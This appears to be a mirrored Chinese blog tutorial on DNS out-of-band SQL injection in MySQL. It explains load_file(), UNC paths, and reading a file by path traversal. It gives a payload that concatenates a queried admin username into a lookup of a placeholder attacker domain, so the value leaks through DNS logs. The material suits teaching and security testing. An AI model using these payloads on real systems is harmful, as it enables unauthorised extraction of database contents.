zoukankan      html  css  js  c++  java
  • SQL注入:DNS注入

    DNS注入原理:

    通过我们构造的数据,访问搭建好的DNS服务器,查看DNS访问的日志即可获取我们想要得到的数据。

    DNS注入使用场景:

    在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
    对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。

    load_file函数

    load_file()函数是读取文件的函数,读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet(限制server接受的数据包大小函数,默认1MB)。 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。
    select load_file(../../../../../../../../../../../1.txt)

    UNC路径

    UNC路径就是类似softer这样的形式的网络路径。它符合 servernamesharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
    目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:

    \servernamesharenamedirectoryfilename
    

    例如softer计算机的名为it168的共享文件夹,用UNC表示就是softerit168。
    我们熟悉的命令行访问法访问网上邻居,实际上应该称作UNC路径访问法。

    假设我们访问的路径是域名下的某个文件呢?

    //xxxxx.com/1.txt
    或 \\xxxx.com/txt //四个反斜杠的原因是因为将反斜杠做转义,不然两个会被转义为一个,导致语句报错
    # 表示我们去访问这个域名下的共享文件夹的文件
    

    当我们使用load_file去访问域名的时候,会产生DNS解析
    这时候我们可以通过构造sql查询语句去查询数据库
    select load_file(concat('//',(select username form admin limit 0,1),'.xxx.xxx/abc'))
    因为拼接的字段只能有一条,所以需要进行限制,不然会报错
    如果成功访问的话就可以通过查询日志获取username字段的值,完成DNS注入。

  • 相关阅读:
    六.(二)oc分类-category(范畴、非正式协议)
    十二 .ocBlock
    十.oc内存管理
    七.(一)oc通知-NSNotification(通知中心-NSNotificationCenter)
    Storyboard中segue(转场)使用
    XCode 7.3.1(dmg) 官方直接下载地址
    jquery 判定checkbox是否选中
    SqlService 并发测试
    SQL Server 消息队列,处理程序错误
    DB开启 Service Broker,使用消息队列
  • 原文地址:https://www.cnblogs.com/yanlzy/p/11938915.html
Copyright © 2011-2022 走看看